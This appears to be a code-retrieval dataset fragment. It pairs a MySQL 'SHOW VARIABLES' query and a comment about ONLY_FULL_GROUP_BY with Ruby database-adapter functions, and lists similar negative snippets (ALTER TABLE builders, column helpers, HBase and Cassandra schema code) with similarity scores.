"def columns_hash\n @columns_hash ||= columns.inject({}) { |hash, column| hash[column.name] = column; hash }\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :add_column\n \"ALTER TABLE #{quote_schema_table(table)} ADD #{column_definition_sql(op)}\"\n when :rename_column\n \"SP_RENAME #{literal(\"#{quote_schema_table(table)}.#{quote_identifier(op[:name])}\")}, #{literal(op[:new_name].to_s)}, 'COLUMN'\"\n when :set_column_type\n \"ALTER TABLE #{quote_schema_table(table)} ALTER COLUMN #{quote_identifier(op[:name])} #{type_literal(op)}\"\n when :set_column_null\n sch = schema(table).find{|k,v| k.to_s == op[:name].to_s}.last\n type = {:type=>sch[:db_type]}\n type[:size] = sch[:max_chars] if sch[:max_chars]\n \"ALTER TABLE #{quote_schema_table(table)} ALTER COLUMN #{quote_identifier(op[:name])} #{type_literal(type)} #{'NOT ' unless op[:null]}NULL\"\n when :set_column_default\n \"ALTER TABLE #{quote_schema_table(table)} ADD CONSTRAINT #{quote_identifier(\"sequel_#{table}_#{op[:name]}_def\")} DEFAULT #{literal(op[:default])} FOR #{quote_identifier(op[:name])}\"\n else\n super(table, op)\n end\n end",
"def recreate_column(name, schema, gen, options)\n if options[:single_pk] && schema_autoincrementing_primary_key?(schema)\n type_hash = options[:same_db] ? {:type=>schema[:db_type]} : column_schema_to_ruby_type(schema)\n [:table, :key, :on_delete, :on_update, :deferrable].each{|f| type_hash[f] = schema[f] if schema[f]}\n if type_hash == {:type=>Integer} || type_hash == {:type=>\"integer\"} || type_hash == {:type=>\"INTEGER\"}\n type_hash.delete(:type)\n elsif options[:same_db] && type_hash == {:type=>type_literal_generic_bignum_symbol(type_hash).to_s}\n type_hash[:type] = :Bignum\n end\n\n unless gen.columns.empty?\n type_hash[:keep_order] = true\n end\n\n if type_hash.empty?\n gen.primary_key(name)\n else\n gen.primary_key(name, type_hash)\n end\n else\n col_opts = if options[:same_db]\n h = {:type=>schema[:db_type]}\n if database_type == :mysql && h[:type] =~ /\\Atimestamp/\n h[:null] = true\n end\n if database_type == :mssql && schema[:max_length]\n h[:size] = schema[:max_length]\n end\n h\n else\n column_schema_to_ruby_type(schema)\n end\n type = col_opts.delete(:type)\n if col_opts.key?(:size) && col_opts[:size].nil?\n col_opts.delete(:size)\n if max_length = schema[:max_length]\n col_opts[:size] = max_length\n end\n end\n if schema[:generated]\n if options[:same_db] && database_type == :postgres\n col_opts[:generated_always_as] = column_schema_to_ruby_default_fallback(schema[:default], options)\n end\n else\n col_opts[:default] = if schema[:ruby_default].nil?\n column_schema_to_ruby_default_fallback(schema[:default], options)\n else\n schema[:ruby_default]\n end\n col_opts.delete(:default) if col_opts[:default].nil?\n end\n col_opts[:null] = false if schema[:allow_null] == false\n if table = schema[:table]\n [:key, :on_delete, :on_update, :deferrable].each{|f| col_opts[f] = schema[f] if schema[f]}\n col_opts[:type] = type unless type == Integer || type == 'integer' || type == 'INTEGER'\n gen.foreign_key(name, table, col_opts)\n else\n gen.column(name, type, col_opts)\n if [Integer, :Bignum, Float, BigDecimal].include?(type) && schema[:db_type] =~ / unsigned\\z/io\n gen.check(Sequel::SQL::Identifier.new(name) >= 0)\n end\n end\n end\n end",
"def store_defcol #:nodoc:\n record = 0x0055 # Record identifier\n length = 0x0002 # Number of bytes to follow\n\n colwidth = 0x0008 # Default column width\n\n header = [record, length].pack(\"vv\")\n data = [colwidth].pack(\"v\")\n\n prepend(header, data)\n end",
"def create(tableName, args)\n now = Time.now \n # Pass table name and an array of Hashes. Later, test the last\n # array to see if its table options rather than column family spec.\n raise TypeError.new(\"Table name must be of type String\") \\\n unless tableName.instance_of? String\n # For now presume all the rest of the args are column family\n # hash specifications. TODO: Add table options handling.\n htd = HTableDescriptor.new(tableName)\n for arg in args\n if arg.instance_of? String\n htd.addFamily(HColumnDescriptor.new(arg))\n else\n raise TypeError.new(arg.class.to_s + \" of \" + arg.to_s + \" is not of Hash type\") \\\n unless arg.instance_of? Hash\n htd.addFamily(hcd(arg))\n end\n end\n @admin.createTable(htd)\n @formatter.header()\n @formatter.footer(now)\n end",
"def add_column(table, name, type, **kwargs)\n current_instructions << Instructions::AddColumn.new(\n table: table,\n name: name,\n type: type,\n **kwargs,\n )\n end",
"def attributes_from_column_definition\n # If there are dynamo fields put them in the list.\n unless self.class.dynamo_fields.empty?\n attributes = self.class.dynamo_fields.inject({}) do |attributes, column|\n attributes[column.to_s] = nil\n attributes\n end\n end\n # Add any dynamo attributes to 'normal' attributes\n self.class.columns.inject(attributes || {}) do |attributes, column|\n attributes[column.name] = column.default unless column.name == self.class.primary_key\n attributes\n end\n end",
"def change_column(table_name, column_name, type, options = {})\n quoted_table_name = quote_table_name(table_name)\n quoted_column_name = quote_table_name(column_name)\n\n sql_type = type_to_sql(type, options[:limit], options[:precision], options[:scale])\n sql_type << \"[]\" if options[:array]\n\n sql = \"ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quoted_column_name} TYPE #{sql_type}\"\n sql << \" USING #{options[:using]}\" if options[:using]\n if options[:cast_as]\n sql << \" USING CAST(#{quoted_column_name} AS #{type_to_sql(options[:cast_as], options[:limit], options[:precision], options[:scale])})\"\n end\n begin\n execute sql\n rescue ActiveRecord::StatementInvalid => e\n raise e if postgresql_version > 80000\n change_column_pg7(table_name, column_name, type, options)\n end\n\n change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)\n change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)\n end",
"def column(data_index = nil, options = nil, html_options = nil, &block)\n @columns << Column.new(data_index, options, html_options, &block)\n end",
"def column(name, *args)\n define_method name do\n instance_variable_get(\"@_#{name}\")\n end\n define_method \"#{name}=\" do |val|\n instance_variable_set(\"@_#{name}\", val)\n end\n self.columns = columns.concat([[name].concat(args)])\n end",
"def create_entity_columns\n entity = self.name.constantize\n entity.reset_column_information\n \n entity.columns.each_with_index do |column, i|\n f = self.entity_columns.detect{ |col| col.name == column.name }\n unless f\n f = self.entity_columns.build(:name => column.name)\n association = entity.reflect_on_all_associations(:belongs_to).detect{|a| a.options[:foreign_key] == column.name }\n association ||= entity.reflect_on_association column.name.sub(/_id$/, '').to_sym if column.name.ends_with? '_id'\n if association\n f.ref_type = :Entity.to_s\n f.ref_name = association.options[:polymorphic] ? 'POLYMORPHIC' : association.class_name\n end\n end\n \n f.term = \"label.#{column.name}\" unless f.term\n f.col_type = column.type.to_s\n f.col_size = column.limit if(column.respond_to?(:limit))\n f.nullable = column.null\n f.def_val = (column.default == nil) ? nil : column.default.to_s\n f.disp_rank = i * 10\n f.save!\n end\n\n uniq_index_def = ActiveRecord::Base.connection.indexes(entity.table_name).find { |index_def| index_def.unique == true }\n \n # unique ranks by getting unique index\n if(uniq_index_def)\n uniq_seq = 1\n uniq_index_def.columns.each do |uniq_col_name|\n column = self.entity_columns.where(\"name = ?\", uniq_col_name).first\n if(column)\n column.uniq_rank = uniq_seq * 10\n column.save!\n uniq_seq += 1\n end\n end\n end\n \n return self.entity_columns\n end",
"def column_class(type)\n if @numeric_types.include?(type) then NumericColumn\n elsif @enumerated_types.include?(type) then EnumeratedColumn\n elsif @textual_types.include?(type) then TextualColumn\n else\n Column\n end\n end",
"def column_change(column)\n [initial_value(column), get_column_value(column)] if column_changed?(column)\n end",
"def add_column(table_name, column_name, type, options = {})\n if options_include_default?(options)\n default = 'default ' + quote(options[:default])\n else\n default = ''\n end\n notnull = options[:null] == false\n \n # Add the column.\n execute(\"ALTER TABLE #{table_name} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit])} #{notnull ? 'NOT NULL' : 'NULL'} #{default}\")\n end",
"def column(name, sql_type = nil, default = nil, null = true)\n cast_type = \"ActiveRecord::Type::#{sql_type.to_s.camelize}\".constantize.new\n tableless_options[:columns_hash][name.to_s] = ActiveRecord::ConnectionAdapters::Column.new(name.to_s, default, cast_type, sql_type.to_s, null)\n end",
"def columns_hash\n @columns_hash ||= columns.inject({}){|r,c| r.merge(c[:name].to_sym => c)}\n end",
"def migration_update_table\n added, removed, changed, prev_fields = field_changes\n\n if table_comments\n new_table_comment = table_comment_changes\n new_fields_comments = fields_comments_changes\n end\n\n unless added.present? || removed.present? || changed.present? ||\n new_table_comment || new_fields_comments.present? || table_name_changed || no_master_association_changed\n return\n end\n\n new_fields_comments ||= {}\n\n <<~ARCONTENT\n self.no_master_association = #{!!no_master_association}\n #{table_name_changed ? \" self.prev_table_name = '#{prev_table_name}'\" : ''}\n #{table_name_changed ? ' update_table_name' : ''}\n #{table_name_changed ? '' : \" self.prev_fields = %i[#{prev_fields.join(' ')}]\"}\n \\# added: #{added}\n \\# removed: #{removed}\n \\# changed type: #{changed}\n #{new_table_comment ? \" \\# new table comment: #{new_table_comment.gsub(\"\\n\", '\\n')}\" : ''}\n #{new_fields_comments.present? ? \" \\# new fields comments: #{new_fields_comments.keys}\" : ''}\n update_fields\n ARCONTENT\n end",
"def prepare_changes(columns)\n self.changes.symbolize_keys.slice(*columns).map do |column, vals|\n [column, vals.last.to_i - vals.first.to_i]\n end.to_h\n end",
"def add_column(col_name, col_type, after=nil)\r\n raise \"Do not execute this method in client/server mode!\" if \\\r\n @db.client?\r\n\r\n raise \"Invalid column name in 'after': #{after}\" unless after.nil? \\\r\n or @field_names.include?(after)\r\n\r\n raise \"Invalid column name in 'after': #{after}\" if after == :recno\r\n\r\n raise \"Column name cannot be recno!\" if col_name == :recno\r\n \r\n raise \"Column name already exists!\" if @field_names.include?(\r\n col_name)\r\n\r\n # Does this new column have field extras (i.e. Index, Lookup, etc.)\r\n if col_type.is_a?(Hash)\r\n temp_type = col_type[:DataType]\r\n else\r\n temp_type = col_type\r\n end\r\n\r\n raise 'Invalid field type: %s' % temp_type unless \\\r\n KBTable.valid_field_type?(temp_type)\r\n\r\n field_def = @db.build_header_field_string(col_name, col_type)\r\n\r\n @db.engine.add_column(self, field_def, after)\r\n\r\n # Need to reinitialize the table instance and associated indexes.\r\n @db.engine.remove_recno_index(@name)\r\n @db.engine.remove_indexes(@name)\r\n\r\n update_header_vars\r\n create_indexes\r\n create_table_class unless @db.server?\r\n end",
"def alter(table_name_str, wait = true, *args)\n # Table name should be a string\n raise(ArgumentError, 'Table name must be of type String') unless\n table_name_str.is_a?(String)\n\n # Table should exist\n raise(ArgumentError, \"Can't find a table: #{table_name_str}\") unless exists?(table_name_str)\n\n # There should be at least one argument\n raise(ArgumentError, 'There should be at least one argument but the table name') if args.empty?\n\n table_name = TableName.valueOf(table_name_str)\n\n # Get table descriptor\n tdb = TableDescriptorBuilder.newBuilder(@admin.getDescriptor(table_name))\n hasTableUpdate = false\n\n # Process all args\n args.each do |arg|\n # Normalize args to support column name only alter specs\n arg = { NAME => arg } if arg.is_a?(String)\n\n # Normalize args to support shortcut delete syntax\n arg = { METHOD => 'delete', NAME => arg['delete'] } if arg['delete']\n\n # There are 3 possible options.\n # 1) Column family spec. Distinguished by having a NAME and no METHOD.\n method = arg.delete(METHOD)\n if method.nil? && arg.key?(NAME)\n descriptor = cfd(arg, tdb)\n column_name = descriptor.getNameAsString\n\n # If column already exist, then try to alter it. Create otherwise.\n if tdb.build.hasColumnFamily(column_name.to_java_bytes)\n tdb.modifyColumnFamily(descriptor)\n else\n tdb.setColumnFamily(descriptor)\n end\n hasTableUpdate = true\n next\n end\n\n # 2) Method other than table_att, with some args.\n name = arg.delete(NAME)\n if !method.nil? && method != 'table_att'\n # Delete column family\n if method == 'delete'\n raise(ArgumentError, 'NAME parameter missing for delete method') unless name\n tdb.removeColumnFamily(name.to_java_bytes)\n hasTableUpdate = true\n # Unset table attributes\n elsif method == 'table_att_unset'\n raise(ArgumentError, 'NAME parameter missing for table_att_unset method') unless name\n if name.is_a?(Array)\n name.each do |key|\n if tdb.build.getValue(key).nil?\n raise ArgumentError, \"Could not find attribute: #{key}\"\n end\n tdb.removeValue(key)\n end\n else\n if tdb.build.getValue(name).nil?\n raise ArgumentError, \"Could not find attribute: #{name}\"\n end\n tdb.removeValue(name)\n end\n hasTableUpdate = true\n elsif method == 'table_remove_coprocessor'\n classname = arg.delete(CLASSNAME)\n raise(ArgumentError, 'CLASSNAME parameter missing for table_remove_coprocessor method') unless classname\n if classname.is_a?(Array)\n classname.each do |key|\n tdb.removeCoprocessor(key)\n end\n else\n tdb.removeCoprocessor(classname)\n end\n hasTableUpdate = true\n # Unset table configuration\n elsif method == 'table_conf_unset'\n raise(ArgumentError, 'NAME parameter missing for table_conf_unset method') unless name\n if name.is_a?(Array)\n name.each do |key|\n if tdb.build.getValue(key).nil?\n raise ArgumentError, \"Could not find configuration: #{key}\"\n end\n tdb.removeValue(key)\n end\n else\n if tdb.build.getValue(name).nil?\n raise ArgumentError, \"Could not find configuration: #{name}\"\n end\n tdb.removeValue(name)\n end\n hasTableUpdate = true\n # Unknown method\n else\n raise ArgumentError, \"Unknown method: #{method}\"\n end\n\n arg.each_key do |unknown_key|\n puts(format('Unknown argument ignored: %s', unknown_key))\n end\n\n next\n end\n\n # 3) Some args for the table, optionally with METHOD => table_att (deprecated)\n update_tdb_from_arg(tdb, arg)\n\n # set a coprocessor attribute\n valid_coproc_keys = []\n next unless arg.is_a?(Hash)\n arg.each do |key, value|\n k = String.new(key) # prepare to strip\n k.strip!\n\n # Uses insensitive matching so we can accept lowercase 'coprocessor' for compatibility\n next unless k =~ /#{COPROCESSOR}/i\n if value.is_a? String\n # Specifying a coprocessor by this \"spec string\" is here for backwards compatibility\n v = String.new value\n v.strip!\n cp = coprocessor_descriptor_from_spec_str v\n elsif value.is_a? Hash\n cp = coprocessor_descriptor_from_hash value\n else\n raise ArgumentError.new 'coprocessor must be provided as a String or Hash'\n end\n tdb.setCoprocessor cp\n valid_coproc_keys << key\n end\n\n valid_coproc_keys.each do |key|\n arg.delete(key)\n end\n\n hasTableUpdate = true\n\n arg.each_key do |unknown_key|\n puts(format('Unknown argument ignored: %s', unknown_key))\n end\n\n next\n end\n\n # Bulk apply all table modifications.\n if hasTableUpdate\n future = @admin.modifyTableAsync(tdb.build)\n\n if wait == true\n puts 'Updating all regions with the new schema...'\n future.get\n end\n end\n end",
"def columns(table_name, name = nil)\n column_definitions(table_name).map! do |row|\n # |name, type, default, notnull, oid, fmod|\n name = row[0]; type = row[1]; default = row[2]\n notnull = row[3]; oid = row[4]; fmod = row[5]\n # oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) { OID::Identity.new }\n notnull = notnull == 't' if notnull.is_a?(String) # JDBC gets true/false\n # for ID columns we get a bit of non-sense default :\n # e.g. \"nextval('mixed_cases_id_seq'::regclass\"\n if default =~ /^nextval\\(.*?\\:\\:regclass\\)$/\n default = nil\n elsif default =~ /^\\(([-+]?[\\d\\.]+)\\)$/ # e.g. \"(-1)\" for a negative default\n default = $1\n end\n\n Column.new(name, default, oid, type, ! notnull, fmod, self)\n end\n end",
"def create_cassandra_column_family(model)\n say \"Creating Cassandra-Only Column Family\", :subitem\n key_name = \"key\"\n key_columns = \"#{key_name}\"\n columns = {}\n model.attribute_definitions.each {|k,v| columns[k] = v.coder.options[:cassandra_type]}\n DatastaxRails::Cql::CreateColumnFamily.new(model.column_family).key_name(key_name).key_columns(key_columns).key_type(:text).columns(columns).execute\n end"
] |
[
"0.6489515",
"0.6462893",
"0.6026478",
"0.5490518",
"0.5443929",
"0.53347087",
"0.53216994",
"0.53018355",
"0.5295448",
"0.52528685",
"0.5224405",
"0.51864296",
"0.51670146",
"0.51607186",
"0.5155693",
"0.5139097",
"0.5111737",
"0.5058465",
"0.5056207",
"0.50541234",
"0.50538987",
"0.50508475",
"0.5048224",
"0.50445414",
"0.50102067",
"0.49905387",
"0.49882153",
"0.4968254",
"0.4960054",
"0.49370742",
"0.4886521",
"0.48595175",
"0.48124087",
"0.4806271",
"0.48054823",
"0.48014635",
"0.47981906",
"0.47758228",
"0.4768871",
"0.47639525",
"0.47639525",
"0.47608185",
"0.4757381",
"0.4750154",
"0.4743064",
"0.47299173",
"0.47251126",
"0.47251126",
"0.47230956",
"0.47073725",
"0.47061473",
"0.4705696",
"0.46916804",
"0.46404657",
"0.4636962",
"0.46343324",
"0.4634144",
"0.46281165",
"0.46281165",
"0.4620634",
"0.46190596",
"0.46163937",
"0.46154928",
"0.460133",
"0.45966345",
"0.4595819",
"0.45909178",
"0.4581499",
"0.45772073",
"0.45750862",
"0.45750862",
"0.45698515",
"0.4565794",
"0.45569858",
"0.45556894",
"0.4548759",
"0.4519922",
"0.45184088",
"0.45181203",
"0.44992787",
"0.44945484",
"0.44818366",
"0.4480926",
"0.44804192",
"0.4462738",
"0.44620588",
"0.44597104",
"0.44591084",
"0.44534642",
"0.44516012",
"0.44484332",
"0.44475052",
"0.44460607",
"0.4445521",
"0.44385776",
"0.44309565",
"0.44301355",
"0.4430064",
"0.4426482",
"0.442249"
] |
0.842165
|
0
|
SHOW VARIABLES LIKE 'name'
|
def show_variable(name)
query_value("SELECT @@#{name}", "SCHEMA")
rescue ActiveRecord::StatementInvalid
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show_variable(name)\n query('SHOW VARIABLES WHERE `variable_name` = ?', name).first.value rescue nil\n end",
"def descriptor\n ConfigvarsRails.variable_descriptor name\n end",
"def value\n mysql('-NBe', \"show variables like '#{resource[:name]}'\").split(\"\\t\")[1].chomp\n end",
"def mysql_config_by_name(name)\n connections = swiftype_config['mysql_connections'] || {}\n critical(\"Unknown MySQL connection: #{name}\") unless connections[name]\n return connections[name]\n end",
"def conf_name\n name\n end",
"def get_settings(name)\n result = @db.execute(\"SELECT * FROM #{MONITOR_INFO_TABLE_NAME} WHERE name=?\", name)[0]\n result.nil? ? {} : {:name => result[0], :description => result[1]}\n end",
"def get_variables\n get_siteinfo('variables')['query']['variables']\n end",
"def default_config\n db_config['mysql']\n end",
"def variable_names()\n @var_set.keys\n end",
"def variable_name; end",
"def variable_name; end",
"def vars\n variables.values\n end",
"def vars\n variables.values\n end",
"def tunable_settings\n [\n 'puppet_enterprise::master::puppetserver::jruby_max_active_instances',\n 'puppet_enterprise::master::puppetserver::reserved_code_cache',\n 'puppet_enterprise::profile::amq::broker::heap_mb',\n 'puppet_enterprise::profile::console::java_args',\n 'puppet_enterprise::profile::database::shared_buffers',\n 'puppet_enterprise::profile::master::java_args',\n 'puppet_enterprise::profile::orchestrator::java_args',\n 'puppet_enterprise::profile::puppetdb::java_args',\n 'puppet_enterprise::puppetdb::command_processing_threads',\n ]\n end",
"def var(name)\n res = send_cmd(\"print #{name}\").join(\"\").chomp\n if /undefined variable:/ =~ res\n kernel_raise GnuplotError,res.strip\n end\n res\n end",
"def global_variables() end",
"def node_settings(node_name)\n\t\tnodes = lib('nodes')\n\t\tnodes[node_name]\n\tend",
"def env_variable_names\n [\n CONSUMER_KEY_NAME,\n CONSUMER_SECRET_NAME,\n ACCESS_TOKEN_KEY_NAME,\n ACCESS_TOKEN_SECRET_NAME\n ]\n end",
"def database_name\n \"mysql_inspector_test\"\n end",
"def var; HOMEBREW_PREFIX+'var' end",
"def var; HOMEBREW_PREFIX+'var' end",
"def default_config\n db_config['mysql2']\n end",
"def database_setting\n VirtualMemory.load(:session, :database_setting, :YAML)[:html]\n end",
"def name\n config[\"name\"]\n end",
"def defined_preferences\n super - [:server]\n end",
"def name\n @config.name\n end",
"def name\n @config.db_name.gsub(/@thismachinehostname@/, Socket.gethostname).\n gsub(/@prefix@/, prefix)\n end",
"def instance_variable_names; end",
"def lookup_config(name)\n\t\tend",
"def enable_check_variables\n add option: \"-check-variables=true\"\n end",
"def lookupvar(name)\n puppet_scope.lookupvar name\n end",
"def info_sql\n INFO_SQL\n end",
"def mysql_global_vip_connection_info(category='root')\n host_info = {\n host: node[:bcpc][:management][:vip],\n port: 3306\n }\n mysql_local_connection_info.merge(host_info)\nend",
"def option_from_env(name)\n ViteRuby.env[\"#{ ViteRuby::ENV_PREFIX }_#{ name.upcase }\"]\n end",
"def variables\n return @options[:variables]\n end",
"def database_name\n ENV['LEIHS_DATABASE_NAME'].presence || \n ENV['DB_NAME'].presence || \n ENV['PGDATABASE'].presence ||\n 'leihs'\nend",
"def globals; list_all :global_variables; end",
"def config\n name.split('_')[2] || 'default'\n end",
"def settings(key)\n ENV[key.to_s.upcase] || monk_settings(key)\nend",
"def mysql_local_connection_info(category='root')\n #\n # The passwords are ALWAYS stored in a data bag. Sometimes the users\n # are not. If there's no data bag item, use the category name.\n #\n node.run_state[\"bcpc_mysql_#{category}_username\"] ||=\n (get_config(\"mysql-#{category}-user\") || category)\n\n #\n # The password may be in an unencrypted data bag,\n # configs/$ENVIRONMENT, or it may be in a chef vault.\n #\n # Try both.\n #\n node.run_state[\"bcpc_mysql_#{category}_password\"] ||=\n (get_config(\"mysql-#{category}-password\") ||\n get_config('password', \"mysql-#{category}\", 'os'))\n\n if node.run_state[\"bcpc_mysql_#{category}_password\"].nil?\n raise \"Could not find MySQL password for #{category}!\"\n end\n \n {\n username: node.run_state[\"bcpc_mysql_#{category}_username\"],\n password: node.run_state[\"bcpc_mysql_#{category}_password\"]\n }\nend",
"def names\n @configs.keys\n end",
"def names\n @configs.keys\n end",
"def get_mysql_hostname \n @mysql_hostname = @sequel[\"SELECT @@hostname;\"].first[:@@hostname]\n end",
"def get_mysql_hostname \n @mysql_hostname = @sequel[\"SELECT @@hostname;\"].first[:@@hostname]\n end",
"def db_name \n 'admin'\n end",
"def cache_variable_name\n end",
"def mysql_remote_connection_info(category='root', remote)\n host_info = {\n host: remote,\n port: 3306\n }\n mysql_local_connection_info.merge(host_info)\nend",
"def available_settings\n []\n end",
"def variable_by_name(name)\n @var_set[name]\n end",
"def payment_gateway_options\n gateway_setting.symbolized_settings\n end",
"def database_flags\n settings[:database_flags]\n end",
"def database_names\n database_info.keys\n end",
"def _get_var(name)\n\t\treturn @replace_vars[name]\n\tend",
"def setting(name)\n @settings[normalize_key(name)]\n end",
"def nameserver_info\n facts.fetch(\"Nameserver\", {})\n end",
"def config\n $VHOST.config\n end",
"def locals; list_all :local_variables; end",
"def global_vagrant_options\n ['ip']\n end",
"def user_variables\n {:ip=>request.remote_ip, :user_agent=>request.env['HTTP_USER_AGENT'], :referrer=>request.env['HTTP_REFERER']}\n end",
"def setting(name)\n config[environment] && config[environment][name]\n end",
"def getVar( name )\n\t\t\t\tArgTest::type( \"name\", name, String )\n\t\t\t\tname.strip!()\n\t\t\t\tArgTest::stringLength( \"name\", name, 1 )\n\t\t\t\treturn @vars[ name ]\n\t\t\tend",
"def db_settings\n cx = ActiveRecord::Base.connection_config.dup\n cx[:password] = '(hidden)'\n {\n current_database: Admin::MigrationGenerator.current_database,\n current_search_paths: Admin::MigrationGenerator.current_search_paths.join(', '),\n connection: cx\n }\n end",
"def connection_info\n ENV['DATABASE_URL']\n end",
"def get_var(var)\n @local_config.get_value(var) ? @local_config.get_value(var) : @global_config.get_value(var)\nend",
"def list_known_names\n end",
"def database_names\n database_info.keys\n end",
"def list_config\n configs = store :get, 'configs'\n (configs.error?) ? 'No config vars set yet.' : configs.to_s\n end",
"def get(name)\n @config[name]\n end",
"def vars\n @vars ||= soln.keys\n @vars\n end",
"def xgetenv(name)\n if ENV.key?(name) then\n return ENV[name]\n end\n $stderr.printf(\"environment variable %p not defined - maybe you need to run 'loadvs'\\n\")\n exit(1)\nend",
"def setting_name\n return @setting_name\n end",
"def settings\n cmd.settings\n end",
"def extension_setting(name)\n extension_settings.find{ |setting| setting.key == name.to_s }\n end",
"def create_mysqld_fact_mysqldhelp(factname, varname)\n Facter.add(factname) do\n confine :kernel => :linux\n setcode do\n if @the_config_settings == nil\n @the_config_settings = %x{/usr/sbin/mysqld --help --verbose --pid-file=/tmp/facter-mysqld-dummy.pid --log-bin=/dev/null 2>/dev/null}\n end\n re = Regexp.new(\"^#{varname}\\\\s+([^ ]+)$\")\n if @the_config_settings.match re\n value = $1\n value = :undef if $1 == 'undefined'\n value = true if $1 == 'TRUE'\n value = false if $1 == 'FALSE'\n value = :undef if $1 == '(No default value)'\n value\n else\n nil\n end\n end\n end\nend",
"def get_db_conf(env='development')\n Rails.configuration.database_configuration[env]\nend",
"def names\n envs.map { |config| config.name }\n end",
"def is_admin_pass\r\n get_setting(:is_admin_pass, IS_ADMIN_PASS)\r\n end",
"def server_info\n db(\"admin\").command({:buildinfo => 1}, {:admin => true, :check_response => true})\n end",
"def instance_variables\n get_instance_variables.to_a.collect{ |n| \"#{n}\".to_sym }\n end",
"def variables; end",
"def variables; end",
"def instance_variable_name; end",
"def proxy_vars\n Hash[[:address,:user,:pass,:port].map do |x|\n [x, default_proxy.instance_variable_get(\"@proxy_#{x}\")]\n end]\n end",
"def get_settings(names)\n configure do |settings|\n names.each do |name|\n setting = settings.setting(name)\n @env.ui.info setting.value, bold: setting.set? if setting\n end\n end\n end",
"def general\n config['general']\n end",
"def true?(var_name)\n return false unless ENV.key?(var_name)\n\n true_value?(ENV[var_name])\n end",
"def instance_variable_ged name\n var = get_instance_variable name.to_s[1 .. -1].to_sym\n #puts \"getting #{name} #{var}\"\n var\n end",
"def local?\r\n return ['localhost', '127.0.0.1'].include?($options[:host])\r\nend",
"def window_variable(number, name)\n echo func('getwinvar', number, name)\n end",
"def var_names\n @var_names ||= eval \"local_variables\", get_binding\n end",
"def fetch_variable(var_name, required: false)\n raise \"#{var_name} is a required variable\" if ENV[var_name].nil? && required\n\n return false if ENV[var_name] && ENV[var_name].downcase == 'false'\n ENV[var_name]\nend",
"def config_status\n config = getconfig\n result = {}\n\n result[:autoboot] = (config[:autoboot]) ? config[:autoboot].to_sym : :true\n result[:pool] = config[:pool]\n result[:shares] = config[:shares]\n dir = config['inherit-pkg-dir']\n if dir\n result[:inherit] = dir.map { |dirs| dirs[:dir] }\n end\n datasets = config['dataset']\n if datasets\n result[:dataset] = datasets.map { |dataset| dataset[:name] }\n end\n result[:iptype] = config[:'ip-type'] if config[:'ip-type']\n net = config['net']\n if net\n result[:ip] = net.map do |params|\n if params[:defrouter]\n \"#{params[:physical]}:#{params[:address]}:#{params[:defrouter]}\"\n elsif params[:address]\n \"#{params[:physical]}:#{params[:address]}\"\n else\n params[:physical]\n end\n end\n end\n\n result\n end",
"def get_variable(name)\n @variables[name]\n end",
"def config_name\n self.class.config_name\n end",
"def available_settings\n instance.available_settings\n end",
"def variables\n {}\n end",
"def mysql_injector_configurator_wiper\n puts\n $config['INJECTOR']['MYSQL']['TIME']={}\n $config['INJECTOR']['MYSQL']['UNION']={}\n $config['INJECTOR']['MYSQL']['ERROR']={}\n $config['INJECTOR']['MYSQL']['BLIND']={}\n $config['INJECTOR']['MYSQL']['URL'] = nil\n $config['INJECTOR']['MYSQL']['LOC'] = nil\n $config['INJECTOR']['MYSQL']['REF'] = nil\n $config['INJECTOR']['MYSQL']['DATA'] = nil\n $config['INJECTOR']['MYSQL']['HEADERS'] = {}\n $config['INJECTOR']['MYSQL']['COOKIES'] = {}\n $config['INJECTOR']['MYSQL']['CONFIGURED'] = false\n $config['INJECTOR']['MYSQL']['UA'] = $config['HTTP']['HTTP_USER_AGENT']\n print_good(\"MySQL Injector Configuration has been reset!\")\nend",
"def remove_config(name)\n variables[name] = nil\n end",
"def config\n if @name_index\n proxy_config = @conf[0].to_s + @conf.uniq[1..@conf.length].join + \"\\n\"\n return proxy_config\n else\n puts \"#{@proxy_type} name not defined\"\n return false\n end\n end",
"def load_vars\n config = YAML.load_file(@config_file)\n @dev_port = config[\"development\"][\"port\"] ||= @default_dev_port\n @dev_pid = config[\"development\"][\"pid\"] ||= @default_dev_pid\n @dev_log = config[\"development\"][\"log\"] ||= @default_dev_log\n @prod_port = config[\"production\"][\"port\"] ||= @default_prod_port\n @prod_pid = config[\"production\"][\"pid\"] ||= @default_prod_pid\n @prod_log = config[\"production\"][\"log\"] ||= @default_prod_log\nend"
] |
[
"0.74665225",
"0.588237",
"0.5671308",
"0.5519296",
"0.538434",
"0.5363477",
"0.53485644",
"0.5341013",
"0.5333825",
"0.52866757",
"0.52866757",
"0.5272169",
"0.5272169",
"0.5208399",
"0.52018386",
"0.5187096",
"0.5184854",
"0.5180399",
"0.5144479",
"0.51115614",
"0.51115614",
"0.5069655",
"0.5057746",
"0.5047375",
"0.5031268",
"0.5030552",
"0.5019118",
"0.5011282",
"0.4989518",
"0.498191",
"0.49707898",
"0.4968629",
"0.49456823",
"0.4925903",
"0.49110043",
"0.48937926",
"0.4891758",
"0.48837304",
"0.48703173",
"0.48511335",
"0.48386005",
"0.48386005",
"0.48377764",
"0.48377764",
"0.4834481",
"0.48273203",
"0.48262852",
"0.48238277",
"0.4819799",
"0.48146954",
"0.4808906",
"0.48072463",
"0.48015216",
"0.48012957",
"0.4783799",
"0.47730348",
"0.47711027",
"0.47696558",
"0.4766131",
"0.47641873",
"0.47609127",
"0.47597596",
"0.47469866",
"0.4730816",
"0.47286236",
"0.47277263",
"0.4726819",
"0.47261247",
"0.47258618",
"0.47258225",
"0.47194126",
"0.47144604",
"0.47132212",
"0.4708833",
"0.47072172",
"0.4702163",
"0.47011346",
"0.4699958",
"0.4697616",
"0.46968168",
"0.46968168",
"0.46956268",
"0.46922272",
"0.468548",
"0.4684181",
"0.4683542",
"0.46808815",
"0.4678666",
"0.4676393",
"0.4671789",
"0.4671082",
"0.46700025",
"0.46565896",
"0.4651581",
"0.4650965",
"0.46506822",
"0.4641751",
"0.46372902",
"0.46348488",
"0.46334097"
] |
0.63253236
|
1
|
In MySQL 5.7.5 and up, ONLY_FULL_GROUP_BY affects handling of queries that use DISTINCT and ORDER BY. It requires the ORDER BY columns in the select list for distinct queries, and requires that the ORDER BY include the distinct column. See
|
def columns_for_distinct(columns, orders) # :nodoc:
